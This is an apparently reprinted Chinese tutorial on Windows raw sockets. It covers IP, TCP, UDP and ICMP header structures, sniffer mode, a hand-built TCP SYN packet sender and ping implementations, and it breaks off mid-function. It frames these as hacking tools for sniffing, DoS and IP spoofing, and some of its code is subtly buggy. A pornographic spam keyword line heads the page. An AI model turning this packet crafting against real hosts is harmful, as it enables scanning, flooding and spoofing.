久久精品国产精品国产精品污,男人扒开添女人下部免费视频,一级国产69式性姿势免费视频,夜鲁夜鲁很鲁在线视频 视频,欧美丰满少妇一区二区三区,国产偷国产偷亚洲高清人乐享,中文 在线 日韩 亚洲 欧美,熟妇人妻无乱码中文字幕真矢织江,一区二区三区人妻制服国产

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

raw socket

發布時間:2024/8/1 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 raw socket 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

黑客之旅――原始套接字透析之前言
大多數程序員所接觸到的套接字(Socket)為兩類: (1)流式套接字(SOCK_STREAM):一種面向連接的Socket,針對于面向連接的TCP服務應用; (2)數據報式套接字(SOCK_DGRAM):一種無連接的Socket,對應于無連接的UDP服務應用。 從用戶的角度來看,SOCK_STREAM、SOCK_DGRAM這兩類套接字似乎的確涵蓋了TCP/IP應用的全部,因為基于TCP/IP的應用,從 協議棧的層次上講,在傳輸層的確只可能建立于TCP或UDP協議之上(圖1),而SOCK_STREAM、SOCK_DGRAM又分別對應于TCP和 UDP,所以幾乎所有的應用都可以用這兩類套接字實現。 圖1 TCP/IP協議棧
但是,當我們面對如下問題時,SOCK_STREAM、SOCK_DGRAM將顯得這樣無助: (1) 怎樣發送一個自定義的IP包? (2) 怎樣發送一個ICMP協議包? (3) 怎樣使本機進入雜糅模式,從而能夠進行網絡sniffer? (4) 怎樣分析所有經過網絡的包,而不管這樣包是否是發給自己的? (5) 怎樣偽裝本地的IP地址? 這使得我們必須面對另外一個深刻的主題――原始套接字(Raw Socket)。Raw Socket廣泛應用于高級網絡編程,也是一種廣泛的黑客手段。著名的網絡
sniffer、拒絕服務攻擊(DOS)、IP欺騙等都可以以Raw Socket實現。 Raw Socket與標準套接字(SOCK_STREAM、SOCK_DGRAM)的區別在于前者直接置"根"于操作系統網絡核心(Network Core),而SOCK_STREAM、SOCK_DGRAM則"懸浮"于TCP和UDP協議的外圍,如圖2所示: 圖2 Raw Socket與標準Socket
當我們使用Raw Socket的時候,可以完全自定義IP包,一切形式的包都可以"制造"出來。因此,本文事先必須對TCP/IP所涉及IP包結構進行必要的交待。 目前,IPv4的報頭結構為:
版本號(4)
包頭長(4)
服務類型(8)
數據包長度(16)
標識(16)
偏移量(16)
生存時間(8)
傳輸協議(8)
校驗和(16)
源地址(32)
目的地址(32)
選項(8)
.........
填充
對其進行數據結構封裝:
typedef struct _iphdr //定義IP報頭 { unsigned char h_lenver; //4位首部長度+4位IP版本號 unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度(字節) unsigned short ident; //16位標識 unsigned short frag_and_flags; //3位標志位 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER;
或者將上述定義中的第一字節按位拆分:
typedef struct _iphdr //定義IP報頭 { unsigned char h_len : 4; //4位首部長度 unsigned char ver : 4; //4位IP版本號 unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; } IP_HEADER;
更加嚴格地講,上述定義中h_len、ver字段的內存存放順序還與具體CPU的Endian有關,因此,更加嚴格的IP_HEADER可定義為:
typedef struct _iphdr //定義IP報頭 { #if defined(__LITTLE_ENDIAN_BITFIELD) unsigned char h_len : 4; //4位首部長度 unsigned char ver : 4; //4位IP版本號 #elif defined (__BIG_ENDIAN_BITFIELD) unsigned char ver : 4; //4位IP版本號 unsigned char h_len : 4; //4位首部長度 #endif unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags;
unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; } IP_HEADER;
TCP報頭結構為:
源端口(16)
目的端口(16)
序列號(32)
確認號(32)
TCP偏移量(4)
保留(6)
標志(6)
窗口(16)
校驗和(16)
緊急(16)
選項(0或32)
數據(可變)
對應數據結構:
typedef struct psd_hdr //定義TCP偽報頭 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //協議類型 unsigned short tcpl; //TCP長度 }PSD_HEADER; typedef struct _tcphdr //定義TCP報頭 { unsigned short th_sport; //16位源端口 unsigned short th_dport; //16位目的端口 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres; //4位首部長度/4位保留字 unsigned char th_flag; //6位標志位 unsigned short th_win; //16位窗口大小 unsigned short th_sum; //16位校驗和 unsigned short th_urp; //16位緊急數據偏移量 } TCP_HEADER;
同樣地,TCP頭的定義也可以將位域拆分:
typedef struct _tcphdr { unsigned short th_sport; unsigned short th_dport; unsigned int th_seq; unsigned int th_ack; /*little-endian*/ unsigned short tcp_res1: 4, tcp_hlen: 4, tcp_fin: 1, tcp_syn: 1, tcp_rst: 1, tcp_psh: 1, tcp_ack: 1, tcp_urg: 1, tcp_res2: 2; unsigned short th_win; unsigned short th_sum; unsigned short th_urp; } TCP_HEADER;
UDP報頭為:
源端口(16)
目的端口(16)
報文長(16)
校驗和(16)
對應的數據結構為:
typedef struct _udphdr //定義UDP報頭 { unsigned short uh_sport;//16位源端口 unsigned short uh_dport;//16位目的端口 unsigned short uh_len;//16位長度 unsigned short uh_sum;//16位校驗和 } UDP_HEADER;
ICMP協議是網絡層中一個非常重要的協議,其全稱為Internet Control Message Protocol(因特網控制報文協議),ICMP協議彌補了IP的缺限,它使用IP協議進行信息傳遞,向數據包中的源端節點提供發生在網絡層的錯誤信息 反饋。ICMP報頭為:
類型(8)
代碼(8)
校驗和(16)
消息內容
常用的回送與或回送響應ICMP消息對應數據結構為:
typedef struct _icmphdr //定義ICMP報頭(回送與或回送響應) { unsigned char i_type;//8位類型
unsigned char i_code; //8位代碼 unsigned short i_cksum; //16位校驗和 unsigned short i_id; //識別號(一般用進程號作為識別號) unsigned short i_seq; //報文序列號 unsigned int timestamp;//時間戳 } ICMP_HEADER;
常用的ICMP報文包括ECHO-REQUEST(響應請求消息)、ECHO-REPLY(響應應答消息)、Destination Unreachable(目標不可到達消息)、Time Exceeded(超時消息)、Parameter Problems(參數錯誤消息)、Source Quenchs(源抑制消息)、Redirects(重定向消息)、Timestamps(時間戳消息)、Timestamp Replies(時間戳響應消息)、Address Masks(地址掩碼請求消息)、Address Mask Replies(地址掩碼響應消息)等,是Internet上十分重要的消息。后面章節中所涉及到的ping命令、ICMP拒絕服務攻擊、路由欺騙都與 ICMP協議息息相關。 另外,本系列文章中的部分源代碼參考了一些優秀程序員的開源項目,由于篇幅的關系我們不能一一列舉,在此一并表示感謝。
原始套接字透析之Raw Socket基礎
2006-11-12 08:00 作者: 宋寶華 出處: 天極開發 責任編輯:方舟
在進入Raw Socket多種強大的應用之前,我們先講解怎樣建立一個Raw Socket及怎樣用建立的Raw Socket發送和接收IP包。 建立Raw Socket 在Windows平臺上,為了使用Raw Socket,需先初始化WINSOCK:
// 啟動 Winsock WSAData wsaData; if (WSAStartup(MAKEWORD(2, 1), &wsaData) != 0) { cerr << "Failed to find Winsock 2.1 or better." << endl; return 1; }
MAKEWORD(2, 1)組成一個版本字段,2.1版,同樣的,MAKEWORD(2, 2)意味著2.2版。MAKEWORD本身定義為:
inline word MakeWord(const byte wHigh, const byte wLow) { return ((word)wHigh) << 8 | wLow; }
因此MAKEWORD(2, 1)實際等同于0x0201。同樣地,0x0101可等同于MAKEWORD(1, 1)。 與WSAStartup()的函數為WSACleanup(),在所有的socket都使用完后調用,如:
void sock_cleanup() { #ifdef WIN32 sockcount--; if (sockcount == 0) WSACleanup(); #endif }
接下來,定義一個Socket句柄:
SOCKET sd; // RAW Socket句柄
創建Socket并將句柄賦值給定義的sd,可以使用WSASocket()函數來完成,其原型為:
SOCKET WSASocket(int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags);
其中的參數定義為: af:地址家族,一般為AF_INET,指代IPv4(The Internet Protocol version 4)地址家族。 type:套接字類型,如果創建原始套接字,應該使用SOCK_RAW; Protocol:協議類型,如IPPROTO_TCP、IPPROTO_UDP等; lpProtocolInfo :WSAPROTOCOL_INFO結構體指針; dwFlags:套接字屬性標志。 例如,下面的代碼定義ICMP協議類型的原始套接字:
sd = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, 0, 0, 0);
創建Socket也可以使用socket()函數:
SOCKET WSAAPI socket( int af, int type, int protocol);
參數的定義與WSASocket()函數相同。 為了使用socket()函數創建的Socket,還需要將這個Socket與sockaddr綁定:
SOCKADDR_IN addr_in; addr_in.sin_family = AF_INET; addr_in.sin_port = INADDR_ANY; addr_in.sin_addr.S_un.S_addr = GetLocalIP(); nRetCode = bind(sd, (struct sockaddr*) &addr_in, sizeof(addr_in));
if (SOCKET_ERROR == nRetCode) { printf("BIND Error!%d/n", WSAGetLastError()); }
其中使用的struct sockaddr_in(即SOCKADDR_IN)為:
struct sockaddr_in { unsigned short sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; }
而bind()函數第二個參數的struct sockaddr類型定義為:
struct sockaddr { unisgned short as_family; char sa_data[14]; };
實際上,bind()函數采用struct sockaddr是為了考慮兼容性,最終struct sockaddr和struct sockaddr_in的內存占用是等同的。struct sockaddr_in中的struct in_addr成員占用4個字節,為32位的IP地址,定義為:
typedef struct in_addr { union { struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b; struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un; } IN_ADDR, *PIN_ADDR, FAR *LPIN_ADDR;
把32位的IP地址定義為上述聯合體將使用戶可以以字節、半字或字方式讀寫同一個IP地址。同志們,注意了,這個技巧在許多軟件開發中定義數據結構時被廣泛采用。 為了控制包的發送方式,我們可能會用到如下的這個十分重要的函數來設置套接字選項:
int setsockopt( SOCKET s, //套接字句柄 int level, //選項level,如SOL_SOCKET int optname, //選項名,如SO_BROADCAST const char* optval, //選項值buffer指針 int optlen //選項buffer長度 );
例如,當level為SOL_SOCKET時,我們可以設置布爾型選項SO_BROADCAST從而控制套接字是否傳送和接收廣播消息。 下面的代碼通過設置IPPROTO_IP level的IP_HDRINCL選項為TRUE從而使能程序員親自處理IP包報頭:
//設置 IP 頭操作選項 BOOL flag = TRUE; setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char*) &flag, sizeof(flag);
下面的函數用于控制套接字:
int ioctlsocket( SOCKET s, long cmd, //命令 u_long* argp //命令參數指針 );
如下面的代碼讓socket接收所有報文(sniffer模式):
u_long iMode = 1; ioctlsocket(sd, SIO_RCVALL, & iMode); //讓 sockRaw 接受所有的數據
Raw Socket發送報文 發送報文的函數為:
int sendto( SOCKET s, //套接字句柄 const char* buf, //發送緩沖區 int len, //要發送的字節數 int flags, //方式標志 const struct sockaddr* to, //目標地址 int tolen //目標地址長度 );

int send( SOCKET s, //已經建立連接的套接字句柄 const char* buf, int len, int flags );
send()函數的第1個參數只能是一個已經建立連接的套接字句柄,所以這個函數就不再需要目標地址參數輸入。 函數的返回值為實際發送的字節數,如果返回SOCKET_ERROR,可以通過WSAGetLastError()獲得錯誤原因。請看下面的示例:
int bwrote = sendto(sd, (char*)send_buf, packet_size, 0, (sockaddr*) &dest, sizeof(dest)); if (bwrote == SOCKET_ERROR) { //…發送失敗 if(WSAGetLastError()==…) { //… } return - 1; } else if (bwrote < packet_size) { //…發送字節 < 欲發送字節 }
Raw Socket接收報文 接收報文的函數為:
int recvfrom( SOCKET s, //套接字句柄 char* buf, //接收緩沖區 int len, //緩沖區字節數 int flags, //方式標志 struct sockaddr* from, //源地址 int* fromlen );

int recv( SOCKET s, //已經建立連接的套接字句柄 char* buf, int len, int flags );
recv()函數的第1個參數只能是一個已經建立連接的套接字句柄,所以這個函數就不再需要源地址參數輸入。 函數的返回值為實際接收的字節數,如果返回SOCKET_ERROR,我們可以通過WSAGetLastError()函數獲得錯誤原因。請看下面的示例:
int bread = recvfrom(sd, (char*)recv_buf, packet_size + sizeof(IPHeader), 0, (sockaddr*) &source, &fromlen); if (bread == SOCKET_ERROR) { //…讀失敗 if(WSAGetLastError()==WSAEMSGSIZE) { //…接收buffer太小 } return - 1; }
原始套接字按如下規則接收報文:若接收的報文中協議類型和定義的原始套接字匹配,那么,接收的所有數據拷貝入套接字中;如果套接字綁定了本地地址,那么 只有接收數據IP頭中對應的目的地址等于本地地址,接收到的數據才拷貝到套接字中;如果套接字定義了遠端地址,那么,只有接收數據IP頭中對應的源地址與 遠端地址匹配,接收的數據才拷貝到套接字中。
建立報文 在利用Raw Socket發送報文時,報文的IP頭、TCP頭、UDP頭等需要程序員親自賦值,從而達到極大的靈活性。下面的程序利用Raw Socket發送TCP報文,并完全手工建立報頭:
int sendTcp(unsigned short desPort, unsigned long desIP) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; PSDHEADER psdHeader; char szSendBuf[MAX_LEN] = { 0 }; BOOL flag; int rect, nTimeOver; if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0) { printf("WSAStartup Error!/n"); return false; } if ((sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { printf("Socket Setup Error!/n"); return false; } flag = true; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*) &flag, sizeof(flag)) ==SOCKET_ERROR) { printf("setsockopt IP_HDRINCL error!/n"); return false; } nTimeOver = 1000; if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*) &nTimeOver, sizeof (nTimeOver)) == SOCKET_ERROR) {
printf("setsockopt SO_SNDTIMEO error!/n"); return false; } addr_in.sin_family = AF_INET; addr_in.sin_port = htons(desPort); addr_in.sin_addr.S_un.S_addr = inet_addr(desIP); //填充IP報頭 ipHeader.h_verlen = (4 << 4 | sizeof(ipHeader) / sizeof(unsigned long)); // ipHeader.tos=0; ipHeader.total_len = htons(sizeof(ipHeader) + sizeof(tcpHeader)); ipHeader.ident = 1; ipHeader.frag_and_flags = 0; ipHeader.ttl = 128; ipHeader.proto = IPPROTO_TCP; ipHeader.checksum = 0; ipHeader.sourceIP = inet_addr("localhost"); ipHeader.destIP = desIP; //填充TCP報頭 tcpHeader.th_dport = htons(desPort); tcpHeader.th_sport = htons(SOURCE_PORT); //源端口號 tcpHeader.th_seq = htonl(0x12345678); tcpHeader.th_ack = 0; tcpHeader.th_lenres = (sizeof(tcpHeader) / 4 << 4 | 0); tcpHeader.th_flag = 2; //標志位探測,2是SYN tcpHeader.th_win = htons(512); tcpHeader.th_urp = 0; tcpHeader.th_sum = 0; psdHeader.saddr = ipHeader.sourceIP; psdHeader.daddr = ipHeader.destIP; psdHeader.mbz = 0; psdHeader.ptcl = IPPROTO_TCP; psdHeader.tcpl = htons(sizeof(tcpHeader)); //計算校驗和 memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); tcpHeader.th_sum = checksum((unsigned short*)szSendBuf, sizeof(psdHeader) + sizeof
(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4); ipHeader.checksum = checksum((unsigned short*)szSendBuf, sizeof(ipHeader) + sizeof (tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); rect = sendto(sock, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*) &addr_in, sizeof(addr_in)); if (rect == SOCKET_ERROR) { printf("send error!:%d/n", WSAGetLastError()); return false; } else printf("send ok!/n"); closesocket(sock); WSACleanup(); return rect; }
原始套接字透析之實現Ping
2006-11-13 07:00 作者: 宋寶華 出處: 天極開發 責任編輯:方舟
極其常用的Ping命令通過向計算機發送ICMP Echo請求報文并且監聽回應報文的返回,以校驗與遠程計算機或本地計算機的連接。 使用ICMP.DLL實現Ping 在Windows平臺編程中實現Ping的一個最簡單方法是調用ICMP.DLL這個動態鏈接庫,引用ICMP.DLL中的三個函數即可:
HANDLE IcmpCreateFile(void);
這個函數打開個ICMP Echo請求能使用的句柄;
BOOL IcmpCloseHandle(HANDLE IcmpHandle);
這個函數關閉由IcmpCreateFile打開的句柄;
DWORD IcmpSendEcho( HANDLE IcmpHandle, // IcmpCreateFile打開的句柄 IPAddr DestinationAddress, //Echo請求的目的地址 LPVOID RequestData, //發送數據buffer WORD RequestSize, //發送數據長度 PIP_OPTION_INFORMATION RequestOptions, // IP_OPTION_INFORMATION指針 LPVOID ReplyBuffer, //接收回復buffer DWORD ReplySize, //接收回復buffer大小 DWORD Timeout //等待超時 );
這個函數發送Echo請求并等待回復或超時。 把這個函數和相關數據封裝成一個類CPing,CPing類的頭文件如下:
class CPing { public: CPing(); ~CPing(); BOOL Ping(char* strHost); private:
// ICMP.DLL 導出函數指針 HANDLE (WINAPI *pIcmpCreateFile)(VOID); BOOL (WINAPI *pIcmpCloseHandle)(HANDLE); DWORD (WINAPI *pIcmpSendEcho)(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD); HANDLE hndlIcmp; // 加載ICMP.DLL庫句柄 BOOL bValid; //是否構造(獲得ICMP.DLL導出函數指針和初始化WinSock)成功 };
CPing類的構造函數獲得ICMP.DLL中導出函數的指針并初始化WinSock:
CPing::CPing() { bValid = FALSE; WSADATA wsaData; int nRet; // 動態加載ICMP.DLL hndlIcmp = LoadLibrary("ICMP.DLL"); if (hndlIcmp == NULL) { ::MessageBox(NULL, "Could not load ICMP.DLL", "Error:", MB_OK); return; } // 獲得ICMP.DLL中導出函數指針 pIcmpCreateFile = (HANDLE (WINAPI *)(void))GetProcAddress((HMODULE)hndlIcmp,"IcmpCreateFile"); pIcmpCloseHandle = (BOOL (WINAPI *)(HANDLE))GetProcAddress((HMODULE)hndlIcmp,"IcmpCloseHandle"); pIcmpSendEcho = (DWORD (WINAPI *)(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD)) GetProcAddress((HMODULE)hndlIcmp,"IcmpSendEcho"); // 檢查所有的指針 if (pIcmpCreateFile == NULL || pIcmpCloseHandle == NULL ||pIcmpSendEcho == NULL) { ::MessageBox(NULL, "Error loading ICMP.DLL", "Error:", MB_OK); FreeLibrary((HMODULE)hndlIcmp); return; } // 初始化WinSock
nRet = WSAStartup(0x0101, &wsaData ); if (nRet) { ::MessageBox(NULL, "WSAStartup() error:", "Error:", MB_OK); WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); return; } // 檢查WinSock的版本 if (0x0101 != wsaData.wVersion) { ::MessageBox(NULL, "No WinSock version 1.1 support found", "Error:", MB_OK); WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); return; } bValid = TRUE; }
CPing類的析構函數完成相反的動作:
CPing::~CPing() { WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); }
CPing類的Ping函數是最核心的函數,實現真正的ping操作:
int CPing::Ping(char *strHost) { struct in_addr iaDest; // Internet地址結構體 LPHOSTENT pHost; // 主機入口結構體指針 DWORD *dwAddress; // IP地址 IPINFO ipInfo; // IP選項結構體 ICMPECHO icmpEcho; // ICMP Echo回復buffer HANDLE hndlFile; // IcmpCreateFile函數打開的句柄 if (!bValid) { return FALSE; }
//使用inet_addr()以判定ping目標為地址還是名稱 iaDest.s_addr = inet_addr(strHost); if (iaDest.s_addr == INADDR_NONE) pHost = gethostbyname(strHost); else pHost = gethostbyaddr((const char*) &iaDest, sizeof(struct in_addr),AF_INET); if (pHost == NULL) { return FALSE; } // 拷貝IP地址 dwAddress = (DWORD*)(*pHost->h_addr_list); // 獲得ICMP Echo句柄 hndlFile = pIcmpCreateFile(); // 設置發送信息缺省值 ipInfo.Ttl = 255; ipInfo.Tos = 0; ipInfo.IPFlags = 0; ipInfo.OptSize = 0; ipInfo.Options = NULL; icmpEcho.Status = 0; // 請求一個ICMP echo pIcmpSendEcho(hndlFile, *dwAddress, NULL, 0, &ipInfo, &icmpEcho, sizeof(struct tagICMPECHO), 1000); //設置結果 iaDest.s_addr = icmpEcho.Source; if (icmpEcho.Status) { return FALSE; } // 關閉ICMP Echo句柄 pIcmpCloseHandle(hndlFile); return TRUE; }
其中所使用的相關結構體定義為:
typedef struct tagIPINFO { u_char Ttl; // TTL u_char Tos; // 服務類型 u_char IPFlags; // IP標志 u_char OptSize; // 可選數據大小 u_char *Options; // 可選數據buffer } IPINFO, *PIPINFO; typedef struct tagICMPECHO { u_long Source; // 源地址 u_long Status; // IP狀態 u_long RTTime; // RTT u_short DataSize; // 回復數據大小 u_short Reserved; // 保留 void *pData; // 回復數據buffer IPINFO ipInfo; // 回復IP選項 } ICMPECHO, *PICMPECHO;
使用Raw Socket實現Ping 僅僅采用ICMP.DLL并不能完全實現ICMP靈活多變的各類報文,只有使用Raw Socket才是ICMP的終極解決之道。 使用Raw Socket發送ICMP報文前,我們要完全依靠自己的代碼組裝報文:
//功能:初始化ICMP的報頭, 給data部分填充數據, 計算校驗和 void init_ping_packet(ICMPHeader *icmp_hdr, int packet_size, int seq_no) { //設置ICMP報頭字段 icmp_hdr->type = ICMP_ECHO_REQUEST; icmp_hdr->code = 0; icmp_hdr->checksum = 0; icmp_hdr->id = (unsigned short)GetCurrentProcessId(); icmp_hdr->seq = seq_no; icmp_hdr->timestamp = GetTickCount(); // 填充data域 const unsigned long int deadmeat = 0xDEADBEEF; char *datapart = (char*)icmp_hdr + sizeof(ICMPHeader); int bytes_left = packet_size - sizeof(ICMPHeader); while (bytes_left > 0) {
memcpy(datapart, &deadmeat, min(int(sizeof(deadmeat)), bytes_left)); bytes_left -= sizeof(deadmeat); datapart += sizeof(deadmeat); } // 計算校驗和 icmp_hdr->checksum = ip_checksum((unsigned short*)icmp_hdr, packet_size); }
計算校驗和(Checksum)的函數為:
//功能:計算ICMP包的校驗和 unsigned short ip_checksum(unsigned short *buffer, int size) { unsigned long cksum = 0; // 將所有的16數相加 while (size > 1) { cksum += *buffer++; size -= sizeof(unsigned short); } if (size) //加上最后一個BYTE { cksum += *(unsigned char*)buffer; } //和的前16位和后16位相加 cksum = (cksum >> 16) + (cksum &0xffff); cksum += (cksum >> 16); return (unsigned short)(~cksum); }
在真正發送Ping報文前,需要先初始化Raw Socket:
// 功能:初始化RAW Socket, 設置ttl, 初始化目標地址 // 返回值:<0 失敗 int setup_for_ping(char *host, int ttl, SOCKET &sd, sockaddr_in &dest) {
// 創建原始套接字 sd = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, 0, 0, 0); if (sd == INVALID_SOCKET) { cerr << "Failed to create raw socket: " << WSAGetLastError() << endl; return - 1; } if (setsockopt(sd, IPPROTO_IP, IP_TTL, (const char*) &ttl, sizeof(ttl)) ==SOCKET_ERROR) { cerr << "TTL setsockopt failed: " << WSAGetLastError() << endl; return - 1; } // 初始化目標主機信息塊 memset(&dest, 0, sizeof(dest)); // 將第1個參數轉換為目標IP地址 unsigned int addr = inet_addr(host); if (addr != INADDR_NONE) { // 為IP地址 dest.sin_addr.s_addr = addr; dest.sin_family = AF_INET; } else { // 非IP地址,進行主機名和IP地址的轉換 hostent *hp = gethostbyname(host); if (hp != 0) { // 查找主機名對應的IP地址 memcpy(&(dest.sin_addr), hp->h_addr, hp->h_length); dest.sin_family = hp->h_addrtype; } else { // 不能識別的主機名 cerr << "Failed to resolve " << host << endl; return - 1; }
} return 0; }
下面可以利用Raw Socket發送生成的ICMP報文:
//功能:發送生成的ICMP包 //返回值:<0 發送失敗 int send_ping(SOCKET sd, const sockaddr_in &dest, ICMPHeader *send_buf, int packet_size) { // 發送send_buf緩沖區中的報文 cout << "Sending " << packet_size << " bytes to " << inet_ntoa(dest.sin_addr) << "..." << flush; int bwrote = sendto(sd, (char*)send_buf, packet_size, 0, (sockaddr*) &dest,sizeof(dest)); if (bwrote == SOCKET_ERROR) { cerr << "send failed: " << WSAGetLastError() << endl; return - 1; } else if (bwrote < packet_size) { cout << "sent " << bwrote << " bytes..." << flush; } return 0; }
發送Ping報文后,我們需要接收Ping回復ICMP報文:
//功能:接收Ping回復 //返回值: <0 接收失敗 int recv_ping(SOCKET sd, sockaddr_in &source, IPHeader *recv_buf, int packet_size) { // 等待Ping回復 int fromlen = sizeof(source); int bread = recvfrom(sd, (char*)recv_buf, packet_size + sizeof(IPHeader), 0,(sockaddr*) &source, &fromlen); if (bread == SOCKET_ERROR) { cerr << "read failed: ";
if (WSAGetLastError() == WSAEMSGSIZE) { cerr << "buffer too small" << endl; } else { cerr << "error #" << WSAGetLastError() << endl; } return - 1; } return 0; }
并使用如下函數對接收到的報文進行解析:
// 功能:解析接收到的ICMP報文 // 返回值: -2忽略, -1失敗, 0 成功 int decode_reply(IPHeader *reply, int bytes, sockaddr_in *from) { // 偏移到ICMP報頭 unsigned short header_len = reply->h_len *4; ICMPHeader *icmphdr = (ICMPHeader*)((char*)reply + header_len); // 報文太短 if (bytes < header_len + ICMP_MIN) { cerr << "too few bytes from " << inet_ntoa(from->sin_addr) << endl; return - 1; } // 解析回復報文類型 else if (icmphdr->type != ICMP_ECHO_REPLY) { //非正常回復 if (icmphdr->type != ICMP_TTL_EXPIRE) { //ttl減為零 if (icmphdr->type == ICMP_DEST_UNREACH) { //主機不可達 cerr << "Destination unreachable" << endl; } else
{ //非法的ICMP包類型 cerr << "Unknown ICMP packet type " << int(icmphdr->type) <<" received" << endl; } return - 1; } } else if (icmphdr->id != (unsigned short)GetCurrentProcessId()) { //不是本進程發的包, 可能是同機的其它ping進程發的 return - 2; } // 指出往返時間TTL int nHops = int(256-reply->ttl); if (nHops == 192) { // TTL came back 64, so ping was probably to a host on the // LAN -- call it a single hop. nHops = 1; } else if (nHops == 128) { // Probably localhost nHops = 0; } // 輸出信息 cout << endl << bytes << " bytes from " << inet_ntoa(from->sin_addr) <<", icmp_seq " << icmphdr->seq << ", "; if (icmphdr->type == ICMP_TTL_EXPIRE) { cout << "TTL expired." << endl; } else { cout << nHops << " hop" << (nHops == 1 ? "" : "s"); cout << ", time: " << (GetTickCount() - icmphdr->timestamp) << " ms." <<endl; } return 0; }
為了在Visual C++中更加方便地使用發送和接收ICMP報文,我們可以使用由Jay Wheeler編寫的CIcmp(An ICMP Class For MFC)類,在著名的開發網站的如下地址可以下載。 這個類的簡要框架如下:
class CIcmp: public CSocket { // Attributes public: BOOL OpenNewSocket(HWND hWnd, unsigned int NotificationMessage, long NotifyEvents); BOOL OpenNewSocket(HWND hWnd, unsigned int NotificationMessage, long NotifyEvents, int AFamily, int AType, int AProtocol); int CloseIcmpSocket(void); BOOL Connect(int ReceiveTimeout, int SendTimeout); BOOL Connect(LPINT ReceiveTimeout, LPINT SendTimeout, int AFamily, int AType, int AProtocol); int SetTTL(int TTL); int SetAsynchNotification(HWND hWnd, unsigned int Message, long Events); int Receive(LPSTR pIcmpBuffer, int IcmpBufferSize); unsigned long GetIPAddress(LPSTR iHostName); int Ping(LPSTR pIcmpBuffer, int IcmpBufferSize); unsigned short IcmpChecksum(unsigned short FAR *lpBuf, int Len); void DisplayError(CString ErrorType, CString FunctionName); // Operations public: CIcmp(void); CIcmp(CIcmp &copy); ~CIcmp(void); public: // I/O Buffer Pointers LPIcmpHeader pIcmpHeader; LPIpHeader pIpHeader; SOCKET icmpSocket; SOCKADDR_IN icmpSockAddr; SOCKADDR_IN rcvSockAddr; DWORD icmpRoundTripTime; DWORD icmpPingSentAt; DWORD icmpPingReceivedAt;
int icmpRcvLen; int icmpHops; int icmpMaxHops; int icmpCurSeq; int icmpCurId; int icmpPingTimer; int icmpSocketError; int icmpSocketErrorMod; unsigned long icmpHostAddress; protected: };
初始化網絡連接的函數:
BOOL CIcmp::Connect(LPINT ReceiveTimeout, LPINT SendTimeout, int AFamily, int AType, int AProtocol) { int Result; icmpSocket = NULL; icmpSocket = socket(AFamily, AType, AProtocol); if (icmpSocket == INVALID_SOCKET) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; return FALSE; } // // Set receive timeout // Result = setsockopt(icmpSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)ReceiveTimeout, sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 2; closesocket(icmpSocket); icmpSocket = INVALID_SOCKET; return FALSE; }
// // Set send timeout // Result = setsockopt(icmpSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)SendTimeout,sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 3; closesocket(icmpSocket); icmpSocket = INVALID_SOCKET; return FALSE; } icmpCurSeq = 0; icmpCurId = (USHORT)GetCurrentProcessId(); icmpHops = 0; return TRUE; }
接收的函數:
int CIcmp::Receive(LPSTR pIcmpBuffer, int IcmpBufferSize) { LPSOCKADDR pRcvSockAddr = (LPSOCKADDR)&rcvSockAddr; int Result; int RcvIpHdrLen; icmpPingReceivedAt = GetTickCount(); icmpCurId = 0; rcvSockAddr.sin_family = AF_INET; rcvSockAddr.sin_addr.s_addr = INADDR_ANY; rcvSockAddr.sin_port = 0; RcvIpHdrLen = sizeof rcvSockAddr; Result = recvfrom (icmpSocket, pIcmpBuffer, IcmpBufferSize, 0, pRcvSockAddr,
